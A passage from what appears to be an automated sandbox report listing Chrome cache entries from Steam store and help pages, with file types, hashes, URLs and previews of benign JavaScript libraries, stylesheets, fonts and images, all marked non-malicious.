Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[6966],{67692:e=>{e.exports={LoginContainer:"_2kLRmRsLwjGDlm-ZfUpChG"}},8685:(e,t,r)=>{"use strict";r.r(t),r.d(t,{default:()=>c});var n=r(67692),a=r(90626),o=r(97436),l=r(78327),s=r(28240),i=r(23809);function c(e){const{redirectUrl:t=l.TS.STORE_BASE_URL}=e,r=(0,i.rW)(),[c,u]=(0,a.useState)(!1),m=e.guest;return a.createElement("div",{className:n.LoginContainer},c?a.createElement(o.Fn,null):a.createElement(o.YN,{autoFocus:!0,transport:r,platform:2,onComplete:e=>{e==s.wI.k_PrimaryDomainFail?u(!0):window.location.assign(t)},redirectUrl:t},m&&a.createElement(o.Mk,{redirectURL:e.redirectUrl})))}}}]);

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	807
Entropy (8bit):	0.4261982118465057
Encrypted:	false
SSDEEP:	3:CUlFE/xlzeze:zFEGze
MD5:	39BC952559E5A8F4E84BA035FB2F7390
SHA1:	4F415467396B4A50149373CA75BCB4C04C2F60B6
SHA-256:	8F73EF54EFC672061F69CA881FE318DCCC6DD67D993CBB8E76E53E52C84EE493
SHA-512:	C7E107E803941A965A173EC8DC7DDFB052C042AB0070E92E5FF47D0E02ECB38446BDC13BBF201D68B2F5696AFBEEA1AF494A65EED4B086EF368CF147892E4409
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/blank.gif
Preview:	GIF89a.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!.......,................;

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1667), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	19092
Entropy (8bit):	5.511106072147819
Encrypted:	false
SSDEEP:	384:fwtVMAjYb2JalUNlpczHK7DYiHiEiN/mDP+pPIOw6GNNZhweP8/F:fmS6FJJNzczHK7DFHix/mP+pPIOwlNzi
MD5:	7BE183DFBCFB68E7BBB8084AE6286674
SHA1:	CD11E711622EE7705B9258027C4F065FD55F9E00
SHA-256:	14A9F76C1AE6A675422A20FB69BB89FBCB42ED68915FB86CD0A16DCD5D185E57
SHA-512:	023EA3EF7D646843D31F6BB10E6E6F5B1C4EB59E9FD0D11FCAB0D59606BAB2D78ED68CDDAC5722F0023D5E36BD65FD6B77EACBC41713F5F89257223E398C5596
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=e-GD37z7aOe7&l=english
Preview:	...responsive_page_frame {...position: relative;..}....body.movescrolltocontent .responsive_page_frame {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;...overflow: auto;..}....body.overflow_hidden,..body.overflow_hidden .responsive_page_frame {...overflow: hidden;...position: relative;..}....html.responsive {...height: 100%;..}....html.responsive body {...min-height: 100%;...height: auto;...position: relative;..}....html.responsive body.movescrolltocontent {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;..}.....responsive_page_content {..}.....partner_events .responsive_page_content {.. height: 100vh;..}.....responsive_page_menu_ctn {...display: none;...position: fixed;...top: 0;...bottom: 0;...overflow: hidden;.....background: black;.....z-index: 30;...width: 280px;..}.....responsive_page_frame:not(.in_menu_drag) .responsive_page_menu_ctn {...transition: left 0.5s, right 0.5s;..}.....responsive_page_menu_ctn.mainmenu {...left: -280px;..}.....resp

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	downloaded
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19780), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	19945
Entropy (8bit):	5.342485948501352
Encrypted:	false
SSDEEP:	384:+odYV4zoDTHwyd4U+EslgeEcDwq11C37aeTXsXAt1CzgqKcnrXvFOLc1FMOVnGz:4SYwyuZ1DemVXm1Czzrf0Lc1FMOVnO
MD5:	DC43944D86292C768C3F53D184FB5DC1
SHA1:	ADF4FB82F00BCB6A3C0751836CB01D90AB118F71
SHA-256:	59C4793678AC21E41F611D11CA8B8120DDAD4890AF4830FB924EC59128D8D198
SHA-512:	1DBE05E4070E2A5B48F9BD5DE2092AF39AEB335941D4448297AF366C1A12E7C0EC335DFF8CB4039476CA9ED6D808536E3AB6601F1CD20B4A5C986C6344C2F1CC
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/manifest.js?v=3EOUTYYpLHaM&l=english
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..var CLSTAMP="9230800";(()=>{"use strict";var e,a,n,s,c,d={},b={};function o(e){var a=b[e];if(void 0!==a)return a.exports;var n=b[e]={id:e,loaded:!1,exports:{}};return d[e].call(n.exports,n,n.exports,o),n.loaded=!0,n.exports}o.m=d,o.amdO={},e=[],o.O=(a,n,s,c)=>{if(!n){var d=1/0;for(i=0;i<e.length;i++){for(var[n,s,c]=e[i],b=!0,r=0;r<n.length;r++)(!1&c\|\|d>=c)&&Object.keys(o.O).every((e=>o.O[e](n[r])))?n.splice(r--,1):(b=!1,c<d&&(d=c));if(b){e.splice(i--,1);var f=s();void 0!==f&&(a=f)}}return a}c=c\|\|0;for(var i=e.length;i>0&&e[i-1][2]>c;i--)e[i]=e[i-1];e[i]=[n,s,c]},o.n=e=>{var a=e&&e.__esModule?()=>e.default:()=>e;return o.d(a,{a}),a},n=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,o.t=function(e,s){if(1&s&&(e=this(e)),8&s)return e;if("object"==typeof e&&e){if(4&s&&e.__esModule)return e;if(16&s&&"function"==

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 9 x 9
Category:	downloaded
Size (bytes):	58
Entropy (8bit):	4.407754547912838
Encrypted:	false
SSDEEP:	3:CMTkaasJusJE9RoE:/orsJrKfoE
MD5:	C85B970B4C832E361445C1B446CC2343
SHA1:	57E60C2F1F1F919A871B7C171C6D59D42E3ADBE5
SHA-256:	5CE28D7CF05F0E6EEAA3788A393D9980E9B51130963C6B9672D3447B6B11DE6D
SHA-512:	060B2BA825CD60EA3FAD5FCACE496A77B528210AEAB0092A24B4C438EB2ACAC4166E0C3B704CD3A4D8FA8FB034B0C7A4B5F45E242A7BDAD26580F3236382620E
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/x9x9.gif
Preview:	GIF89a.............!.......,.............h....I.Q9+\|.S]..;

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3966
Entropy (8bit):	5.142958773271244
Encrypted:	false
SSDEEP:	96:l62ePL5p/6t0hHEcmefouMXQ2AGBm9HWJPon+6i+p:MC2foXg2AGgHWt8
MD5:	76E4C70A57760DE5DB02A53C82B1C74E
SHA1:	5393F2417550ADA806129D85A0335CC3A8C918A7
SHA-256:	1DF1807DE57661ACE09F4F8A4CA7314DF333DA34683FF384BE93270AA6032803
SHA-512:	3BB9DFAF3DA8E6A5D2665156E4CAB88D042230B7C4D6475B3CFBC371B729CBF540FE582EA6D282713088ADBAE9A6A0217EFEC18EBA72BA29BC494E6CA9E0169F
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/shipping.js?v=duTHCld2DeXb
Preview:	....function BHasShippingStateDropDown()..{...return $J('#shipping_state_select_droplist') && $J('#shipping_state_select_droplist')[0] && $J('#shipping_state_select_droplist')[0].childNodes.length > 1;..}....function Shipping_UpdateStateSelectState()..{...if ( $J('#shipping_country') )...{....if ( BHasShippingStateDropDown() )....{.....$J('#shipping_state_text').hide();.....$J('#shipping_state_select_dselect_container').show();....}....else....{.....$J('shipping_state_text').show();.....$J('shipping_state_select_dselect_container').hide();....}...}..}....function Shipping_VerifyAddressFields( rgBadFields )..{...var errorString = '';...rgBadFields = {....shipping_first_name : false,....shipping_last_name : false,....shipping_address : false,....shipping_city : false,....shipping_state_text : false,....shipping_phone : false,....shipping_postal_code : false,....shipping_state_select_trigger: false...}.....return errorString;..}....function Shipping_VerifyShippingAddress( sessionID, ajax_

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (24681), with CRLF line terminators
Category:	downloaded
Size (bytes):	60737
Entropy (8bit):	5.235933420747895
Encrypted:	false
SSDEEP:	1536:AErpvhd5dY0KEApMyw+l/oOJz9WwymlgaUYCOlb+OeaLJIt:AEd5n6EhZSyuLJIt
MD5:	809BF9DBC74B5959B14AD616EA69F8DE
SHA1:	CBD06F379BD0DFEA3C517081968AAD2A1C7657BC
SHA-256:	8E8359E3EEE5AC413165265D5D6B6F9C26B75D24E266CFB5EA3C25C3DAB25635
SHA-512:	E061F628A53D65D034AA6E8C311A30A35A30237295D1FCD0F01FEF8F9401390FBA4A037C1992DAAC13F1EC031B0B4A6ED56BB4F871A59854FF8769F73A4E26C2
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/login.js?v=gJv528dLWVmx&l=english
Preview:	"use strict";....function CLoginPromptManager( strBaseURL, rgOptions )..{...// normalize with trailing slash...this.m_strBaseURL = strBaseURL + ( strBaseURL.substr(-1) == '/' ? '' : '/' ) + ( this.m_bIsMobile ? 'mobilelogin' : 'login' ) + '/';...this.m_strSiteBaseURL = strBaseURL; // Actual base url, not the login base url above......// read options...rgOptions = rgOptions \|\| {};...this.m_bIsMobile = rgOptions.bIsMobile \|\| false;...this.m_strMobileClientType = rgOptions.strMobileClientType \|\| '';...this.m_strMobileClientVersion = rgOptions.strMobileClientVersion \|\| '';...this.m_bIsMobileSteamClient = ( this.m_strMobileClientType ? true : false );...this.m_bMobileClientSupportsPostMessage = rgOptions.bMobileClientSupportsPostMessage \|\| false;.....this.m_$LogonForm = $JFromIDOrElement( rgOptions.elLogonForm \|\| document.forms['logon'] );.....this.m_fnOnFailure = rgOptions.fnOnFailure \|\| null;...this.m_fnOnSuccess = rgOptions.fnOnSuccess \|\| null;.....this.m_strRedirectURL = rgOptions.strRe

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	169399
Entropy (8bit):	4.976254040069433
Encrypted:	false
SSDEEP:	1536:CZXcWblD1ySId1u6p3JuZolKvI28mGY7NIj4WT0PjXsW0NKWzcEjpPrmcGKJ/jfT:ocWblASIdIv8tXYPjkrmgD8d3dI
MD5:	6A39E0B509FECB928D47B8A2643FED2A
SHA1:	F67FA6CB1D09963D10BA117D6553C8E7D5BC7863
SHA-256:	D8BDEA7FFF893DBDBEAF6C2AFFEC091A77483B9EC10E7958486BC3B6CC170C96
SHA-512:	B9B8C6D9AC4928686C5EA254AC8F765C4F3690F79E5B1CCAAFFC48D4BD47872B9CC5475C038F70D804740C81915FDFCE315EBE553B628D12F7CA1CC4467075D0
Malicious:	false
Reputation:	low
Preview:	../* Prototype JavaScript framework, version 1.7.. * (c) 2005-2010 Sam Stephenson.. .. Prototype is freely distributable under the terms of an MIT-style license... * For details, see the Prototype web site: http://www.prototypejs.org/.. .. --------------------------------------------------------------------------/....var Prototype = {.... Version: '1.7',.... Browser: (function(){.. var ua = navigator.userAgent;.. var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]';.. return {.. IE: !!window.attachEvent && !isOpera,.. Opera: isOpera,.. WebKit: ua.indexOf('AppleWebKit/') > -1,.. Gecko: ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1,.. MobileSafari: /Apple.Mobile/.test(ua).. }.. })(),.... BrowserFeatures: {.. XPath: !!document.evaluate,.... SelectorsAPI: !!document.querySelector,.... ElementExtensions: (function() {.. var constructor = window.Element

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64904), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	171820
Entropy (8bit):	5.091615070300934
Encrypted:	false
SSDEEP:	1536:Ns4PKffp9FVf2HBeZTjxI1slCWW9sEbsgsfRc117tUCqU3A8yWiSgzgPMNSrf:Ns4PKfx/VhTjHlCNOEArfKrxRJS+D
MD5:	4D9ECC70DDE56858A3451017CD7FD8D9
SHA1:	88189CFF695C454384884888EA46D9C11060C811
SHA-256:	E10ACC2425B736F904CA0EC762A77B516CE7CEA7391354841199E55750EEE287
SHA-512:	DCCDF161353E3FBD904B63F646EBF616E9EB977D23933575A307336AED6BB044902E11DC5990AA217F7B8CC16E190A968FC9077FE74F335C195C72DE46C6F60C
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[6103],{78598:e=>{e.exports=JSON.parse('{"language":"english","Summer2022_hunt_Intro":"Greetings from the Future!","Summer2022_hunt_Intro_1":"I am Clorthax, a time-traveling trickster! I know what you.re thinking: \\"A professional trickster? This sounds like a trick!\\" That is a reasonable concern! But what I am about to tell you is not a trick, and to prove it, I will type it in all caps: THIS IS NOT A TRICK.","Summer2022_hunt_Intro_2":"Okay, it.s a trick. But only on the people of the future! You.re going to love this. Why? Because I have stolen the ten best games from the far future, then traveled across an ocean of time to sell them to you! Exclusively on Steam!","Summer2022_hunt_Intro_3":"Anyway, I can.t outright tell you the names of thes

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansLight Italic4.015;Plau;M
Category:	downloaded
Size (bytes):	133600
Entropy (8bit):	6.0674472145735345
Encrypted:	false
SSDEEP:	3072:D0000yU00000p4hvCgblYq4AYpbVvQ8U/VMxLseW8Yafj9:D0000GWCClpnYpxvRamfh
MD5:	07247CBD12D4E4160EFD413823D0DEF8
SHA1:	517A80968AA295D0A700A338C22BA41E3A8B78A7
SHA-256:	41464EFD9A32A5967B30ADDC21FE16CD0A35870FDA56658B531A9A2434B4D829
SHA-512:	27E0E7505D41891E70BD06733F96E82E45061D621A1D20BBC524FC89C5406A799CF53D98C0FA256CB4EBFC19750C9A05531A8D273CEBC260D48948EDFFDF6244
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-LightItalic.ttf?v=4.015
Preview:	........... DSIG............GDEF.\|.@...,...:GPOS.r....h...dGSUB.e.........POS/2t.........`cmap.......\|....cvt Ft..... ....fpgm.6!.........gasp............glyf`..........head...1...0...6hhea.......h...$hmtx.[O".......locap.+........maxp.......@... name.H.....`....post.v.....L....prep...........................................w...x.y...z.3.........&.W.............D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J......................................................................................................................................

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 425

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (377), with CRLF line terminators
Category:	dropped
Size (bytes):	34674
Entropy (8bit):	5.421358067509858
Encrypted:	false
SSDEEP:	768:ciJQBnCB/MaberYaWM5tWgFPQVGvKMpEFbW:cMQJu/Mabc4MZPPvKzk
MD5:	3F9FAFDC9C0CDDD25D6E4D046A8D42D3
SHA1:	E277FDA3655E94DDB80F03225EFA7EE8EBD6BB30
SHA-256:	A2ADAD654A0E37C791418E897592D6213B0CBEB73B35C1DE6CA82085C4E79CE9
SHA-512:	012D99F610FBA081390225909D3915361EE5638D71EE507B3D05EB71D05C1489EF1CDC0A39DA1D2D1ADACBDFAC2C279D96EBB47C72273CC2662E06E4378EEBFE
Malicious:	false
Reputation:	low
Preview:	..// Copyright (c) 2005 Tom Wu..// All Rights Reserved...// See "LICENSE" for details...../.. Copyright (c) 2003-2005 Tom Wu.. * All Rights Reserved... .. Permission is hereby granted, free of charge, to any person obtaining.. * a copy of this software and associated documentation files (the.. * "Software"), to deal in the Software without restriction, including.. * without limitation the rights to use, copy, modify, merge, publish,.. * distribute, sublicense, and/or sell copies of the Software, and to.. * permit persons to whom the Software is furnished to do so, subject to.. * the following conditions:.. .. The above copyright notice and this permission notice shall be.. * included in all copies or substantial portions of the Software... .. THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, .. * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY .. * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. .. .. IN NO EVENT SHAL

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 8 bits/pixel
Category:	dropped
Size (bytes):	1406
Entropy (8bit):	1.6214494414274285
Encrypted:	false
SSDEEP:	6:UcLDpXejv8EGctuBoCWCqRFoRJrlRq0qGpmEDqSrur3pTHkl:UcLNejketKWCqLkXqTGQE2SO54l
MD5:	2690CED7D66CF8B34658922E9625F65E
SHA1:	57477C2180CC7B6B9E3064A46CF8DA4AD7555540
SHA-256:	0C6516E22335E762E68BB63CC3F6EEE7455FC226D0FC00C62EF13FC93FA16971
SHA-512:	C95A83A53C9FD1DA6388B8C63E6B8434670F1A0C9C9DB2CC775EFC127899536095EC8290EC251575D1A355CC8C3A2C9786E719AE7E51D992DE9E73E080D92AAB
Malicious:	false
Reputation:	low
Preview:	..............h.......(....... ...........@...................ust.....QVS.................\|\|\|.kom.....^[]...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23167)
Category:	downloaded
Size (bytes):	23168
Entropy (8bit):	5.276486010034213
Encrypted:	false
SSDEEP:	384:EqRYlMQtMd1q4wpwZmO8tKkzcN0EK7DzvXKtMyrCdwahYX87/yysnaBb9F5Fc:ulMQtMdMYN0v7DrXKtTrCdwahYX87/y7
